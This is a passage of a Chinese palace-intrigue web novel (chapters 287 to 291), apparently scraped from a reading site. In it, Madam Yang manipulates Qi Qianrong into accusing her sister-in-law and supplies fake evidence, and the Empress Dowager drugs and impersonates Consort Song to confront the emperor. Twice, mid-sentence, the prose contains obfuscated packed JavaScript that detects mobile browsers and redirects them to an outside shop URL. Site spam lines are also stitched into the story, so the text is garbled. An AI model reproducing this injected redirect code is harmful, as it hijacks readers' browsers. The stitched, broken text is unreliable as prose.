戚倩蓉见状,松开攥着杨夫人胳膊的手,“噗通”一声双膝跪地,对着杨夫人恭恭敬敬地磕了一个响头,哽咽着哀求道:“夫人,求您了,求您告诉我真相吧!我哥哥不能就这么白死,我一定要知道害死他的人是谁,求您了!” 杨夫人看着她这般模样,眼底飞快掠过一丝得意与不耐,随即又换上一副万般无奈的神情,缓缓转过身,伸手轻轻扶起戚倩蓉,语气沉重又带着几分怜悯,仿佛是下定了天大的决心一般,低声说道:“戚姑娘,你起来吧,罢了罢了,既然你这般执着,我便告诉你吧,只是这话一出,你万万不可外传,否则不仅你我,就连你们戚家,也会招来灭顶之灾啊——那人,就是咱们的陛下呀。” “什么?!”这番话如同一道惊雷,狠狠劈在戚倩蓉的头顶,她浑身猛地一震,嘴唇哆嗦着,结结巴巴地开口,声音里满是慌乱与茫然:“这,这怎么可能呢?陛下……陛下怎么会和我嫂子……这不可能,绝对不可能!” 在她心中,皇上高高在上,威严神圣,怎么会看上她那个寡居的嫂子,更不可能为了嫂子,害死她的哥哥,这一切,都超出了她的认知。 杨夫人看着她失魂落魄的模样,脸上却依旧维持着凝重的神色,轻轻拍了拍她的后背,语气笃定地说道:“我原先也不信的,毕竟陛下身份尊贵,怎么会青睐一个已婚妇人,可我是亲眼瞧见了你嫂子同皇上在一处,绝非虚言。你想想,这几日,你嫂子是不是不在家?” 戚倩蓉机械地点了点头,脑海里一片空白,耳边嗡嗡作响。 是啊,这几日,嫂子的确不在家,临走前只说要带孩子们出去打醮,让她在家好好陪着母亲,她当时并未多想,如今想来,哪里是什么打醮,分明是另有隐情! 杨夫人见她已然动摇,连忙趁热打铁,压低声音,缓缓说道:“皇上这几日特意罢朝,带着你嫂子去了西山行宫享乐呢,一行人浩浩荡荡,只不过是瞒着外人,不让人知晓罢了,也难怪你被蒙在鼓里。” “行宫……享乐……”戚倩蓉喃喃着这几个字,巨大的愤恨瞬间再次席卷了她,比先前更甚几分。 这几日家里老少都出门了,唯独留下她和母亲守着空荡荡的戚家,而她们,竟然都跟着皇上,在行宫过着逍遥快活的日子!嫂子不仅背叛了哥哥,害死了哥哥,还带着哥哥的侄子侄女,陪着害死哥哥的人享乐,连她和母亲都被蒙在鼓里,这般欺辱,让她如何能忍? 戚倩蓉气得浑身发抖,双手紧紧攥成拳头,呼哧呼哧喘着粗气。 可这份滔天的愤恨,仅仅持续了片刻,便被深深的绝望取代。 戚倩蓉浑身一软,像是被抽走了所有的力气,无力地瘫坐在冰冷的青石板地上,肩膀微微颤抖着,泪水汹涌而出,哽咽着喃喃道:“若是如此,我又能怎么办呢?他是皇上,是九五之尊,权倾天下,我们这般渺小,又能奈何得了他分毫?呜呜……我可怜的哥哥,你怎么就这么命苦,竟然就这么白死了……连报仇,都成了奢望……” 杨夫人垂着眼,背过身翻了一个白眼,再转过脸来已经调整好面容,换上一副温柔怜悯的神情,柔声劝道:“我也这么想的,谁惹得起皇上啊,那可是九五之尊,你们也只能认命。依我看,这事就这么算了吧,你就当今日什么都没听到,什么都不知道,回去之后,该怎么做就怎么做,好好陪着你母亲,只是往后多留个心眼子,防着点你嫂子,别被她卖了,还帮着她数钱,别再被她害了才好。” 第287章 蠢货 戚倩蓉抬起满是泪痕的脸,看着杨夫人温柔怜悯的模样,心中涌起一股暖流,仿佛在这绝望之中抓住了一根救命稻草,她紧紧抓住杨夫人的手,哽咽着说道:“多谢夫人,多谢夫人这般为我着想,夫人对我太好了,若是没有您,我到现在还被蒙在鼓里。对了夫人,我与魏世子的事情,还请夫人一定帮忙周旋,这是我如今唯一的念想了,求您了!” 杨夫人脸上露出温和的笑容,轻轻点了点头,语气和善地说道:“你放心,这事我记在心里了,既然我答应要成全你们,就一定会尽力周旋,不会让你失望的。” 说着,便对门外唤了一声,让守在外面的丫鬟进来,吩咐道:“替戚姑娘整理整理衣袍,擦干净脸上的泪痕,仔细伺候着。” 丫鬟恭敬应下,连忙上前,小心翼翼地扶着戚倩蓉起身,替她擦拭泪痕、整理衣袍。 待戚倩蓉整理妥当,神色稍稍平复,杨夫人又假意叮嘱了几句,让她回去后莫要冲动,莫要外传今日之事,才让丫鬟送她出了雅间,看着她的身影渐渐消失在茶楼楼下。 戚倩蓉走后,雅间里瞬间恢复了寂静,杨夫人脸上的温和与怜悯瞬间消失得无影无踪,取而代之的是满脸的鄙夷与不耐。 她冷笑一声,语气刻薄地骂了一句:“蠢货!” 戚倩蓉从望湖茶楼匆匆赶回戚家时,天色已近黄昏,她理了理衣襟,强迫自己装出一副平静无波的模样。 她虽恨薛嘉言恨得牙根发痒,恨她害死哥哥、毁了自己的婚事、让自己和母亲活得这般憋屈,可她终究畏惧皇权,并不敢表露出来。 入夜,夜色渐深,戚倩蓉端着药碗坐在床边,一勺一勺地喂栾氏喝药。 栾氏身子没什么大碍,就是嗓子突然坏了,换了好几个大夫也没查出来是什么原因。 明明只是嗓子坏了,可栾氏的精神气好像跟她的声音一起走掉了,整个人变得蔫蔫的,戚倩蓉只得每日过来与她作伴。 喂完药,戚倩蓉坐在床边,想起自己这些日子的煎熬,想起自己因为丧兄,不能风风光光嫁给魏杨,只能委曲求全去做妾,想起若不是薛嘉言,哥哥不会死,自己也不会落得这般下场,心头的恨意再次翻涌上来,恨得牙痒痒。 栾氏瞥见女儿脸上狰狞的表情,拉住戚倩蓉的衣袖,嘴唇张着,发出“啊啊”的低语声,眼神里满是疑惑,像是在询问她,发生了什么事。 戚倩蓉想起母亲如今已经不能说话,即便自己对她说了所有的事情,她也无法泄露出去,不必担心招来祸患。 她微微俯身,附在栾氏的耳边,压低声音,将杨夫人告诉她的话,从头到尾说了一遍。 栾氏听完,浑身猛地一震,原本浑浊的眼睛瞬间瞪得滚圆,脸上写满了难以置信的震惊与悲愤。她激动地做起来,嘴唇张得大大的,发出“啊啊啊”的急促低语,声音里满是悲愤与控诉,一边喊着,一边指着春和院的方向,手指因为激动而剧烈颤抖着,还不停地比比划划,神色激动得几乎要晕厥过去。 戚倩蓉连忙按住母亲,生怕她激动过度伤了身子,她顺着母亲手指的方向望去,眼底的恨意更浓,却还是耐着性子,仔细看着母亲的比划,看了半晌,才渐渐看明白母亲的意思。 她试探着轻声问道:“娘,您……您是不是早就知道,嫂子外面有人?是不是早就知道,嫂子有奸情?” 栾氏闻言,像是得到了共鸣一般,激动地点了点头,嘴里依旧发出“啊啊”的低语。 得到母亲的确认,戚倩蓉浑身一震,心底最后一丝疑虑也彻底消散,她更加确信了杨夫人的话,确信薛嘉言就是害死哥哥的凶手,确信薛嘉言寡廉鲜耻、私通皇上 转眼又过了两日,上次替杨夫人传话的丫鬟匆匆跑来,小声禀报道:“姑娘,杨夫人找您,还在上次去的地方,让您速去,说是有要事相商。” 戚倩蓉心头猛地一跳,脸上瞬间露出几分激动与期盼,她下意识地以为,定是自己与魏杨的亲事有了着落,定是杨夫人帮她周旋成功,魏杨愿意娶她了。 这般想着,戚倩蓉再也按捺不住心底的激动,连忙嘱咐身边的丫鬟好好照顾母亲,自己则急匆匆地回了小院,找了一身体面的衣裙换上,又对着铜镜,匆匆梳理了头发、整理了妆容,便提着裙摆,急匆匆地出了戚家大门。 不多时,戚倩蓉便赶到了望湖茶楼,依旧是上次那间僻静的雅间,丫鬟引着她走进去,杨夫人正端坐在临窗的椅子上,见她进来,立刻站起身,快步走上前,一把拉住她的手。 “戚姑娘,你可算来了,好事!事情有转机了!”杨夫人笑着说道。 听到“转机”二字,戚倩蓉激动得浑身都在微微发颤,她眼神里满是期盼,声音急切地反问道:“真的?是不是魏世子愿意娶我为妻了?是不是我不用做妾,可以风风光光地嫁进云阳伯府了?” 杨夫人脸上的激动表情,差点没维持住,嘴角不受控制地抽动了两下,眼底飞快掠过一丝鄙夷——果然是个蠢货,满脑子就只有嫁给魏杨那点心思。 她强压下心底的不耐,连忙调整好神色,轻轻拍了拍戚倩蓉的手道:“瞧你急的,不是你和魏世子的亲事,是你哥哥的冤情,有转机了!” “哦,什么转机啊?”戚倩蓉有些不敢相信,毕竟她嫂子的奸夫可是皇上,谁敢跟皇上作对呢? 杨夫人拉着戚倩蓉走到一旁的椅子上坐下,轻轻拍了拍她的手,缓缓说道:“也是你命好,生来就净遇着贵人相助。邹御史你知道吗?便是都察院那位专管弹劾、刚正不阿的邹大人,有他出手,你哥哥的冤屈,定然能昭雪。” 戚倩蓉闻言,茫然地摇了摇头,脸上满是懵懂——她整日里所思所想,不过是哪家的胭脂颜色最正、哪家的锦缎质地最软、哪家的点心滋味最好,就连哥哥生前的同僚,她都分不清谁是谁、各居什么官职,更何况是都察院的御史,更是闻所未闻、一无所知。 第288章 筹谋 看着戚倩蓉这副没见识的模样,杨夫人眼底的鄙夷又深了几分,却还是耐着性子,缓缓将邹御史的来历、官职一一介绍给她,重点夸赞道:“这邹御史可不是寻常官员,他为人最是大公无私、嫉恶如仇,眼里揉不得半点沙子,朝堂上多少贪官污吏、奸佞小人,都是被他弹劾下台的,就连王公贵族,他只要抓住错处,也敢直言上谏,半点不徇私情,在朝野上下,威望极高。” 听到这里,戚倩蓉的眼睛微微亮了亮,小声追问道:“夫人,您的意思是……邹御史已经知道我哥哥的冤情了?他愿意帮我们,为我哥哥洗刷冤屈,治薛氏的罪吗?” 杨夫人慢条斯理地说道:“还没有,不过你放心,我已经帮你想好万全之策了。邹御史家住在青花胡同,那条胡同距离国子监不远,来往的都是读书人。你哥哥好歹也是进士出身,你便去青花胡同的巷口跪着哭,把你哥哥枉死的冤屈、薛氏私通皇上的丑事,一一哭诉出来。” 她顿了顿,又细细叮嘱:“那边的年轻学子最多,一个个都是热血沸腾、心怀正义的性子,最见不得这种寡廉鲜耻、谋害亲夫的丑事,也最同情你这般孤女弱母的遭遇,定然会愿意帮你的忙,替你奔走呼喊。你再特意挑个邹御史上朝归来、定会经过的时辰去,他素来铁面无私,直言上谏的事情做了不少,见你哭得凄惨,又有学子们求情,定然会出手帮你们的。” 戚倩蓉闻言,脸上的急切又淡了下去,眉头紧紧蹙起,神色间满是犹豫与迟疑,小声嘀咕道:“可是夫人,国子监的学子都是还没入仕的读书人,他们既没有官职,也没有权势,就算是帮我奔走呼喊,说话应该也不顶什么用吧?万一邹御史不听他们的,那我们岂不是白忙活一场?” 听到这话,杨夫人在心底暗骂一声“无知蠢货”,解释道:“这你就不懂了吧,读书人最是精贵,也最是看重名声。往前几朝,国子监学子联名上书、集体请愿的事情可不少,他们代表的是天下读书人的脸面,更是天下读书人的心声。皇上要靠着读书人治理国家,要笼络天下学子的心,轻易也不敢得罪他们,若是他们集体为你求情、为你哥哥喊冤,皇上就算是想护着薛嘉言,也得掂量掂量后果。” 这番话听的戚倩蓉心头一动,可那份深入骨髓的畏惧,依旧没有消散,她脸上露出几分惶恐,小声说道:“可……可这样一来,事情闹大了,皇上定然会知道是我做的,肯定不会放过我的,我要是死了,我娘怎么办?我还没有嫁给魏世子,我不想死啊……” 杨夫人见状,连忙拍了拍她的手,语气笃定地安抚道:“这你大可放心,万事有我在,我早已替你盘算好了。到时候,你只管在巷口哭诉,闹得越大越好,我会暗中引着宗人府的人过来。你想想,事情闹得越大,天下人都知道了,皇上就算是再生气,也不好轻易杀你——不然,他岂不是要被天下人戳脊梁骨,骂他容不下一个为兄喊冤的弱女子,骂他偏袒奸妃、草菅人命?他绝不会做这种有损皇家颜面的事情。” 杨夫人说着,凑近戚倩蓉,在她耳边小声说道:“我告诉你,太后娘娘最是厌恶淫妇,此事我会想办法让太后娘娘知道,都是后有她护着你,你还怕什么?” 听杨夫人说得这般笃定,戚倩蓉心头的惶恐才稍稍散去,脸上露出几分松动,可随即又皱起眉头,满脸忧愁地说道:“可……可我也没有证据啊。红口白牙的,我说嫂子私通皇上、害死我哥哥,谁会相信我呢?万一他们反咬我一口,说我污蔑嫂子、欺君罔上,那我和我娘,就真的万劫不复了。” 杨夫人早有准备,语气轻松地说道:“这有什么难的?难道你们戚家,还没有几样御赐的东西吗?薛嘉言既然和皇上私通,皇上定然会赏她不少御赐之物,你偷偷去她的院子里拿两件出来,当作证据,到时候摆在学子们和邹御史面前,看谁还敢不信!” 戚倩蓉脸上露出几分为难的神色,轻轻摇了摇头:“夫人,不是我不肯去拿,一来,我嫂子的院子看得极严,平日里除了她身边的贴身丫鬟,旁人根本不准随意靠近,我就算是想去,也根本进不去,想从里面拿出东西来,只怕更是不容易;二来,我不认得什么御赐之物,就算是看到了,也分不清哪些是皇上赏的,哪些是寻常的物件,万一拿错了,反倒误了大事。” 杨夫人闻言,故作沉思了片刻,随即像是想到了什么好主意一般,眼前一亮,缓缓说道:“这也不难,·我府中倒是有几样御赐的小东西,平日里也用不上,回头我便让人送来与你,你只说是从你嫂子的院子里偷偷拿出来的,当作证据便是,保管没人能分辨出来。” 听到这话,戚倩蓉瞬间喜出望外,脸上的为难与担忧一扫而空,连忙起身,对着杨夫人恭恭敬敬地磕了一个头,语无伦次地说道:“多谢夫人!多谢夫人成全!夫人对我真是恩重如山,倩蓉这辈子都记着您的大恩大德,将来若是能得偿所愿,嫁给魏世子,若是能为我哥哥洗刷冤屈,我定然会好好报答您,绝不食言!”说着,又连连磕头,神色间满是感激与虔诚。 杨夫人自然不会真的把家中登记造册的御赐之物拿出来,那些东西都是有据可查的,若是出了差错,反倒会牵连到自己,她可没有那么傻。 送走戚倩蓉后,杨夫人想法子去找了上次来传话的杨嬷嬷,说了自己的谋划,请杨嬷嬷帮忙找几样宫里的东西,最好是皇上才有的。 不过两日功夫,杨嬷嬷便遣人送来了几样东西,一包皇上头风发作时惯用的凝神熏香,宫中独一份;一包进贡的特级天麻,乃是贡品,寻常人家根本无从得见;还有一沓澄云社花笺,这种花笺乃是宫中特制,这一批进贡的花笺全都被皇帝拿走了,杨嬷嬷也是想尽办法才找到这几张。 戚倩蓉接到这几样东西,又仔细听了杨夫人的细致安排——何时去国子监、如何哭诉、如何拿出证据、如何应对学子和邹御史的询问,一一记在心里。 她在家中偷偷锻炼了两日,反复练习哭诉的言辞,熟悉手中的“证据”,心中的畏惧渐渐被恨意与期盼取代,终于做好了一切准备,只待时机一到,便去青花胡同,揭发薛嘉言与皇上的奸情,为自己的哥哥讨回冤屈。 第289章 撤职 长乐宫内,沁芳垂着双手,躬身立在太后身侧,缓缓道:“娘娘,杨夫人那边已经妥当了,只等时机一到,戚氏便会去国子监门口哭诉,揭发薛氏的**。” 太后斜倚在迎枕上,漫不经心地摩挲着腕间的羊脂玉镯,微微点了点头道:“还是你会办事,知道找杨氏来办这件事。她素来长袖善舞,又急功近利,这种事也就她能办。” 沁芳道:“娘娘谬赞了,这都是婢子该做的。先前娘娘吩咐婢子彻查薛氏的底细,婢子查了许久,发现她交际简单,无党无朋,能利用的人寥寥无几。杨夫人本就是个势利眼,一心想攀附高位,再者,她夫君高侍郎去年因为私养外室,被御史台**,丢了颜面不说,还被皇上罚俸一年,自那以后,高侍郎便对杨夫人日渐冷淡,杨夫人也是急着找机会立功,想借着帮娘娘办事的由头,求娘娘日后帮高侍郎说两句话。” 太后闻言,微微颔首,淡然道:“高慎那人,还算有些能力,不过就是贪花好色了些,算不上什么大毛病。回头朝中有合适的机会,哀家自会想法子提拔他一二。” 两人正低声说着话,殿外忽然传来一阵急促的脚步声,紧接着,长乐宫的太监总管于青萍急匆匆地闯了进来。 太后眉头微微蹙起,不悦道:“慌什么,出了什么事?” 于青萍躬身叩首,语速极快地禀报道:“启禀娘娘,朝会刚散,皇上颁了旨意,免了宋止将军的禁军统领一职,封了个奉国伯的虚爵位。原先暂领禁军统领职务的宋襄宋将军,也被皇上下旨调离了禁军,派去了五城兵马司,给杨泰华杨大人做副手。” “什么?!”太后猛地坐直了身子,脸上的淡然变得凌厉,她深吸一口气,强行压下心底的怒火,沉声追问道:“那禁军统领一职,如今由谁来担任?” 于青萍不敢抬头,声音愈发惶恐:“回娘娘,皇上旨意已下,禁军统领一职,由刚从东南回来的徐昭徐将军担任。” 徐昭?太后闻言,眉头皱得更紧了。 徐昭前年在东南剿匪,屡立奇功,今年春天被兵部召回京城,太后当时并没有当回事,边防将军隔两三年换防一次,也是常有的事。可此刻细细一想,太后却瞬间明白了过来——这哪里是寻常的换防,分明是姜玄早就谋划好了,一直在等着徐昭回京,就是为了让徐昭接管禁军,夺走宋家在禁军的势力! 太后脸上瞬间阴云密布,极是难看,想到宋家在康王叛乱中失去和得到的,她再也无法心平气和。 于青萍退出去后,沁芳满是担忧,小心翼翼 你的朋友正在书荒,快去帮帮他吧 地走上前,躬身问道:“娘娘,婢子这就去请老夫人或者夫人进来,与您一起商议商议,可好?” 太后却缓缓摇了摇头,闭上眼,深深吸了一口气,再睁开时,眼底的怒火已然被强行压制了下去,她低声道:“暂且不必,你让哀家好好想想。” 说罢,太后起身,径直走到书房,反手关上了房门,将所有人都挡在了门外。她独自一人坐在书房的案前,枯坐了很久很久,久到窗外的天色渐渐暗了下来,久到沁芳在外间沏好了第三回茶,书房内依旧没有丝毫动静。 不知过了多久,书房的房门才被缓缓打开,太后走了出来,神色沉静了许多,她幽幽开口:“晚膳时,去把静妃叫过来,让她陪哀家用膳。” 很快到了晚膳时分,暮色四合,微凉的晚风轻轻拂过长乐宫廊下悬挂的琉璃灯,一盏盏灯笼随风微微晃动,细碎的暖光洒下来,落在前来赴宴的宋静仪脸上。她的面色略有些苍白,眼尾泛红,眼睑也微微有些浮肿,显然是先前狠狠哭过一场。 膳厅内,烛火灼灼,餐桌上整齐摆着十几道精致膳食,荤素搭配得当,皆是太后与宋静仪平日里爱吃的菜式。 太后端坐在主位上,抬手示意身侧的宫女:“给静妃盛一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254626|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄芪乌鸡汤来,补补气血。” 宫女依言上前,小心翼翼地盛了一碗温热的鸡汤,放在宋静仪面前。 “心里再难受,也要注意保重身体。这事,也不算全然的坏事,你哥哥已然残了,禁军统领那个位置,本就坐不长久,倒不如激流勇退。好歹皇上封了他奉国伯,又给了他兵部的职务,虽无实权,却也能保一世荣华……” 可太后越说,宋静仪的眼泪便掉得越凶,哽咽着道:“我哥哥还不到三十岁,正是大好年华,如今却只能做个无所事事的闲人,他怎么能甘心?” 太后眼底掠过一丝怜惜,却并未再多说什么,只默默抬手,示意宫女递上帕子。 宋静仪接过帕子,用力拭去脸上的泪水,深深吸了一口气,强迫自己冷静下来。片刻后,她调整好情绪,柔声道:“娘娘恕罪,臣妾刚刚有些失态了。娘娘说得对,这世上,多少人一辈子求也求不到一个伯爵之位,回头我也会好好劝劝哥哥,让他看开些,安心安享荣华。” 姑侄俩便不再说话,安心吃起饭来。只是两人都没什么胃口,只略进了一点,便都搁下了筷子。 晚膳过后,太后对着宋静仪轻声道:“静仪,随哀家进内殿喝杯茶。” 宋静仪微微颔首,起身扶着太后的手臂,小心翼翼地跟着她走进了内殿。 太后端起茶杯,轻轻抿了一口,目光落在宋静仪脸上,缓缓开口:“静仪,你心悦皇帝吗?” 宋静仪沉思了片刻,才缓缓抬起头,眼底一片澄澈,低声道:“臣妾不敢欺瞒娘娘,臣妾对于皇上的仰慕,从来都只是臣民对君主的敬重与仰慕,并无半分男女之间的爱慕之情。皇上待臣妾,也仅仅是友人般的关爱与体恤。” 太后听着她的话,沉默不语,只是端着茶杯,目光落在宋静仪年轻而温婉的脸上,眼底满是怜惜——这孩子还不知道,姜玄对女人的渴望,对女人的纵容,全都给了宫外那个不堪的女子。 第290章 最后一次机会 良久,太后才轻轻叹了口气,放下手中的茶杯,伸手轻轻拍了拍宋静仪的手背,语气里满是怅然与心疼,像是在自言自语,又像是在对宋静仪说:“苦了你……真是苦了你。” 宋家这二十多年来,前前后后送进宫三个女人,每一个,都过得不尽人意。她的姑母宋玉华,当年曾有过一个儿子,七岁便被封为齐王,聪慧过人,颇得先帝欢心,可偏偏天不假年,才活到九岁,便不幸夭折。自那以后,姑母的身子也渐渐垮了,没过几年,便香消玉殒。 而她自己,嫁给先帝,一生都在权谋争斗中挣扎,没有得到过半分真心,先帝驾崩后,她倾尽宋家之力,扶姜玄登基,换来的,却是他的猜忌与疏离,如今,他还要夺走宋家的兵权,架空宋家的势力。她过得不快活,如今看着眼前的宋静仪,她几乎可以预见,这个年轻的女孩,将来的日子,也会和她、和她姑母一样,深陷深宫,孤独终老。 太后收回思绪,幽幽开口:“静仪,你要记住,这世上最难测的便是人心,尤其是帝王之心。哀家不知道,皇帝当初跟你承诺过什么,但你一定要记得,无论何时,无论发生什么事,只有宋家,会永远站在你的身后。” 宋静仪闻言,连忙低低说道:“臣妾记住了。” 两人又说了一会话,宋静仪渐渐有些困倦,眼皮越来越重,连眼睛都快要睁不开了,脑袋微微一点一点的,最后,竟毫无察觉地头一歪,轻轻倒在了身旁的椅子上,沉沉睡了过去。 太后面无表情地看着这一切,眼底没有半分波澜,她静静凝视着宋静仪熟睡的脸庞,沉默了片刻,才缓缓开口:“沁芳,进来收拾。” 沁芳进来小心翼翼地扶起宋静仪,将她扶到一旁的软榻上躺下,随后,她脱下了宋静仪身上的宫装。 太后换上宋静仪的那宫装,接着,沁芳又按照为太后挽了同宋静仪一样的发式,再细细为她描眉、抹唇脂…… 夜色深深,烛光洒在梳妆台前,铜镜中,映出太后的脸庞——经过精心装扮,乍一看去,眉眼、发式、衣着,都与宋静仪一模一样,若是不仔细分辨,俨然就是静妃宋静仪正端坐在那里,温婉而恬静。 沁芳站在太后身后,看着铜镜中的模样,眼底满是担忧,“娘娘,万一皇上今晚没去钟粹宫……” 太后神色清冷,语气笃定道:“不会的。宋止今日被免了禁军统领一职,我这个做姑母的尚且如此震怒与忧心,静仪作为他的亲妹妹,定然悲痛不已。姜玄不会把宋家得罪狠了,所以,他今晚肯定要去钟粹宫,安抚一 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 下静仪。” 沁芳又是心疼,又是害怕,忍不住再次劝解道:“娘娘,您何苦呢?不如……” 太后摆摆手:“这是我给他的最后一次机会。不必再劝我了,去安排吧。” 沁芳看着太后眼底的决绝,知道自己再劝也无用,只得低声应道:“是,遵旨。”说罢,她转身走到殿门口,对着外头轻声说了一句:“静妃娘娘醒了,准备回宫。” 不多时,宋静仪身边伺候的杨嬷嬷等人,便匆匆走了进来,对着“静妃”躬身行礼,恭敬地等候在一旁,准备服侍她回宫。 太后微微垂着头,收敛了眼底所有的情绪,模仿着宋静仪平日里温婉的姿态,扶着杨嬷嬷的手,缓缓站起身,一步步走出了长乐宫。宫门外,肩辇早已备好,太后扶着杨嬷嬷的手,轻轻坐上肩辇,低声吩咐道:“回钟粹宫。” 肩辇缓缓启动,朝着钟粹宫的方向而去,夜色深沉,宫道上的灯笼昏黄摇曳,一行人影也跟着摇晃、扭曲。 夜色幽深,太后端坐在寝殿的菱花妆台前,握着一本书,背对着殿门方向,静静等候着姜玄的到来。 戌时过半,殿门外果然传来了一阵脚步声,伴随着太监低低的通传声,不多时,殿门被轻轻推开,姜玄身着玄色常服,缓步走了进来。 他进殿后,目光淡淡扫过寝殿内的景象,抬了抬手,挥退了两侧伺候的宫人:“都退出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254627|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,没有朕的吩咐,不许任何人靠近寝殿。” 钟粹宫的宫人早已习惯了皇上与静妃娘娘相处时不喜人打扰的规矩,闻言皆是躬身应诺,连大气都不敢出,鱼贯着悄悄退出寝殿,轻轻带上殿门。 片刻之间,偌大的寝殿便只剩下姜玄与梳妆台前那个“静妃”的身影,一室静谧,唯有桌案上的烛火跳跃,偶尔发出“噼啪”一声灯花爆开的轻响。 太后依旧保持着单手撑腮的姿势,端坐于妆台前一动不动。 姜玄如往常一样,缓步走到书案背后的梨花木圈椅上坐下,身子微微后倾,靠在椅背上,脸上露出几分难以掩饰的疲惫。 他抬手揉了揉发胀的眉心,瞥了一眼梳妆台前的“宋静仪”。 宋静仪始终单手撑腮坐在那里、一动不动。 姜玄并没有怪罪她不上前问安的失礼,他清楚,宋止被免了禁军统领一职,作为亲妹妹的宋静仪,定然伤心不已,一时之间难以平复心绪,这般失态,也在情理之中。 沉默片刻后,姜玄缓缓开口:“宋四姑娘,你莫要太过伤心。你哥哥已然断臂,身形不便,原就不可能一直留任禁军统领这般重要的职务,朕想,他自己心中也是清楚的。朕之前曾私下里召过宋将军前来议事,他亲口与朕说,家中有幼子三人,从前因身居要职、公务繁忙,甚少陪伴在妻儿身边,如今卸去兵权,倒也可以多陪陪家人,安享天伦,这般看来,也没什么不好的。” 姜玄的声音缓缓落在太后耳中,每一个字,都像是一把冰冷的刀子,狠狠扎在她的心上。太后缓缓闭上眼睛,深深吸了一口气才勉强压制住心底翻涌的滔**火。 她果然没有猜错,姜玄从来都不把宋家人放在心上,他这般薄待宋家的功臣,就连来宽慰功臣的妹妹,也隔着这么远的距离,隔着一层珍珠珠帘,连一步都不肯靠近。 姜玄说了许久,见梳妆台前的“宋静仪”依旧一动不动,眉宇间不由得微微蹙了起来,他凝神,目光穿过珠帘,仔细打量着梳妆台前的那个背影。 第291章 对峙 忽然,一丝怪异的念头涌上他的心头。他与宋静仪相处这些日子,两人之间虽无男女之情,却也算得上融洽,如同友人一般。宋静仪性子温婉,心思细腻,且极有分寸,无论如何,都绝不会在他说了这么多话的情况下,依旧端坐不动、沉默不语。 他越看,心底的疑惑就越重,梳妆台前那个背影,她的脊背,似乎太直了一些;她的肩膀,似乎也比往日宽了一些…… 姜玄的脸色微微变了,心底百转千回,他深吸一口气道:“既然你今夜心情不好,心绪难平,朕便不打搅你休息了,你早些歇息吧。” 说罢,姜玄缓缓站起身,目光依旧没有离开那个背影,他刻意放慢了动作,装作要往外走的模样。 “你瞧出来了?”太后忽然开口,声音清冷。 话音未落,她便缓缓转身站起来,隔着那层半透的珍珠珠帘,与书案旁的姜玄两两相望。 姜玄一言不发,周身的气息瞬间沉了下来,眸色沉沉如寒潭,看不出半分喜怒。他原本以为,康王事败、宋家元气大伤,再加上宋静仪入宫,太后经此一役,心思已然淡了,会安安分分做她的太后,可他万万没有想到,她竟然会如此荒唐。 太后看着他沉默的模样,忽然低低笑了起来:“到底是相处了这么多年,我就说,瞒不过你。” 她强装从容,姜玄却仍旧一言不发。 太后深深吸了一口气,压下心底的翻涌,抬手轻轻撩开身前的珍珠珠帘,珠帘碰撞,发出一阵细碎而清脆的声响,打破了殿内的死寂。 她缓步走到姜玄面前,随后,她刻意学着宋静仪平日里温柔浅笑的模样,浅浅弯了弯唇角,语气带着几分试探,又几分戏谑:“你说,若是换做旁人,瞧得出我假扮的静仪吗?” 看着她这副不伦不类的荒唐模样,姜玄双眼微微眯起,眸底掠过一丝寒芒,压抑许久的怒火与不耐,终于忍不住泄露了几分:“你疯了……简直不知所谓!” 太后脸上的假笑瞬间褪去,取而代之的是一抹凄然,眼底泛起淡淡的水光,却没有落下,声音沙哑,带着几分决绝:“疯了?这深宫里的疯女人,多了去了,我要这般清醒做什么?” 她的话语里,满是怨愤,姜玄偏过头,避开她眸中的水光,不愿看她这副偏执疯狂的模样,冷冷追问道:“你到底要做什么?直说便是。” 太后眨了眨眼睛,用力逼回眼底的泪意,又换上一副温柔的神色,缓缓说道:“陛下,宋家为陛下分忧这么多年,宋家倾尽所有,为你铺路搭桥,你也一 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 